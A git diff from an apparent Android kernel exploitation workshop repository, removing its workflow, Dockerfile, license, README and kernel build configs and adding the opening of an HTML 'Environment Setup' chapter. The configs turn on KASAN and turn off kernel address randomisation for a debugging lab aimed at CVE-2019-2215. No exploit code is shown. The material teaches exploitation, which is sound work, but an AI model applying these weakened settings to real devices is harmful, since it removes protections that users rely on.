diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml deleted file mode 100644 index 89240c2..0000000 --- a/.github/workflows/main.yml +++ /dev/null @@ -1,39 +0,0 @@ -name: Build and Deploy Gitbook -on: - push: - branches: - - master - -jobs: - build-and-deploy: - runs-on: ubuntu-latest - steps: - - name: Setup Node JS ๐Ÿšข - uses: actions/setup-node@v1 - with: - node-version: "10.x" - - - name: Checkout Repository ๐Ÿ›Ž๏ธ - uses: actions/checkout@v2 - with: - persist-credentials: false - - - name: Install and Build ๐Ÿ”ง - run: | - echo "Installing Gitbook CLI" - sudo npm install gitbook-cli -g - echo "Changing directory to gitbook" - cd gitbook - echo "Installing Gitbook Plugins" - gitbook install - echo "Building Gitbook" - gitbook build . ../build - echo "Removing node_modules directory" - git clean -fx node_modules - - - name: Deploy ๐Ÿš€ - uses: JamesIves/github-pages-deploy-action@3.4.8 - with: - ACCESS_TOKEN: ${{ secrets.ACCESS_TOKEN }} - BRANCH: gh-pages - FOLDER: build diff --git a/.gitignore b/.gitignore deleted file mode 100644 index f4721dd..0000000 --- a/.gitignore +++ /dev/null @@ -1,37 +0,0 @@ -# Gitbook Rules - -# Node rules: -## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -## Dependency directory -## Commenting this out is preferred by some people, see -## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git -node_modules - -# Book build output -_book - -# eBook build output -*.epub -*.mobi -*.pdf - - -# C/C++ rules - -# IntelliJ -.idea - -# CMake -cmake-build-*/ - -# compiled binary -cve-2019-2215* - -# Android source directory -android-4.14-dev/* -!android-4.14-dev/.gitkeep - -# Patch folder is not getting included -!patch/* diff --git a/Dockerfile b/Dockerfile deleted file mode 100644 index 868f870..0000000 --- a/Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -FROM ubuntu:18.04 - -# Fetch all essential packages for building the kernel -RUN apt-get update -RUN apt-get install -y git-core gnupg flex bison build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig wget python3 git make clang gcc bc -RUN curl https://storage.googleapis.com/git-repo-downloads/repo > /bin/repo -RUN chmod +x /bin/repo - -# Get env ready for fetching source code of kernel -RUN git config --global user.email "you@example.com" && \ - git config --global user.name "Your Name" \ No newline at end of file diff --git a/LICENSE b/LICENSE deleted file mode 100644 index f288702..0000000 --- a/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/README.md b/README.md deleted file mode 100644 index 3e7bf00..0000000 --- a/README.md +++ /dev/null @@ -1,44 +0,0 @@ -# Android Kernel Exploitation - -## Objective - -The objective of this workshop is to get started with **kernel vulnerability analsysis** and **exploitation** in **Android** platform. - - -## Usage - -Clone the repository - -```bash -git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop -``` - - -## Github Pages URL - -https://cloudfuzz.github.io/android-kernel-exploitation/ - - -## Workshop Stream - -
- Android Kernel Exploitation -
- - -## Docker for building kernel -```bash -# Build the docker image -docker build -t and-build-env . -# Run the docker -docker run -d --rm -it and-build-env -# Get shell in docker image to do further work -``` - -## Author - -**Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**. - -

- CloudFuzz -

diff --git a/android-4.14-dev/.gitkeep b/android-4.14-dev/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/build-configs/goldfish.x86_64.kasan b/build-configs/goldfish.x86_64.kasan deleted file mode 100644 index 1bb4167..0000000 --- a/build-configs/goldfish.x86_64.kasan +++ /dev/null @@ -1,39 +0,0 @@ -ARCH=x86_64 -BRANCH=kasan - -CC=clang -CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin -BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 -CLANG_TRIPLE=x86_64-linux-gnu- -CROSS_COMPILE=x86_64-linux-androidkernel- -LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin - -KERNEL_DIR=goldfish -EXTRA_CMDS='' -STOP_SHIP_TRACEPRINTK=1 - -FILES=" -arch/x86/boot/bzImage -vmlinux -System.map -" - -DEFCONFIG=x86_64_ranchu_defconfig -POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config" - -function update_kasan_config() { - ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ - -e CONFIG_KASAN \ - -e CONFIG_KASAN_INLINE \ - -e CONFIG_TEST_KASAN \ - -e CONFIG_KCOV \ - -e CONFIG_SLUB \ - -e CONFIG_SLUB_DEBUG \ - -e CONFIG_SLUB_DEBUG_ON \ - -d CONFIG_SLUB_DEBUG_PANIC_ON \ - -d CONFIG_KASAN_OUTLINE \ - -d CONFIG_KERNEL_LZ4 \ - -d CONFIG_RANDOMIZE_BASE - (cd ${OUT_DIR} && \ - make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) -} diff --git a/build-configs/goldfish.x86_64.relwithdebinfo b/build-configs/goldfish.x86_64.relwithdebinfo deleted file mode 100644 index fe70d42..0000000 --- a/build-configs/goldfish.x86_64.relwithdebinfo +++ /dev/null @@ -1,33 +0,0 @@ -ARCH=x86_64 -BRANCH=relwithdebinfo - -CC=clang -CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin -BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 -CLANG_TRIPLE=x86_64-linux-gnu- -CROSS_COMPILE=x86_64-linux-androidkernel- -LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin - -KERNEL_DIR=goldfish -EXTRA_CMDS='' -STOP_SHIP_TRACEPRINTK=1 - -FILES=" -arch/x86/boot/bzImage -vmlinux -System.map -" - -DEFCONFIG=x86_64_ranchu_defconfig -POST_DEFCONFIG_CMDS="check_defconfig && update_debug_config" - -function update_debug_config() { - ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ - -e CONFIG_FRAME_POINTER \ - -e CONFIG_DEBUG_INFO \ - -d CONFIG_DEBUG_INFO_REDUCED \ - -d CONFIG_KERNEL_LZ4 \ - -d CONFIG_RANDOMIZE_BASE - (cd ${OUT_DIR} && \ - make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) -} diff --git a/chapters/environment-setup.html b/chapters/environment-setup.html new file mode 100644 index 0000000..14cf13c --- /dev/null +++ b/chapters/environment-setup.html @@ -0,0 +1,1135 @@ + + + + + + + Environment Setup ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + + + + + + +
+ +
+ +
+ + + + + + + + +
+
+ +
+
+ +
+ +

Environment Setup

+

The whole analysis and exploitation will been done in a virtual environment for the ease of access and debugging.

+

Hardware Requirements

+
    +
  • 40 GB free hard drive space
    • +
  • 8 GB+ of RAM
    • +
  • Multi-core processor
    • +
+

Software Requirements

+

For this workshop, we will need to install the below given items in Ubuntu 18.04 LTS host machine. However, Windows, Mac OSX and other OS are also supported.

+
    +
  • GDB
    • +
  • Workshop Repository
    • +
  • Android Studio
    • +
  • Android NDK
    • +
  • Android Virtual Device
    • +
  • Android Kernel Source Code
    • +
+

GDB

+

Open a terminal window and type the below given command to verify if GDB is installed. We will need GDB compiled with python 2.7 support.

+
ashfaq@hacksys:~$ gdb --version
+GNU gdb (GDB) 8.2
+Copyright (C) 2018 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+
+ashfaq@hacksys:~$ gdb -quiet          
+GEF for linux ready, type `gef' to start, `gef config' to configure
+77 commands loaded for GDB 8.2 using Python engine 2.7
+[*] 3 commands could not be loaded, run `gef missing` to know why.
+gef> py
+>import sys
+>print sys.version_info
+>end
+sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0)
+gef> q
+
+ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python
+ 0x0000000000000001 (NEEDED)             Shared library: [libpython2.7.so.1.0]
+
+ashfaq@hacksys:~$ python --version
+Python 2.7.17
+
+

If GDB is not installed in your system, please make sure to install it with python 2.7 support.

+

Workshop Repository

+

Open a terminal window and type the below given command to clone the workshop repository.

+
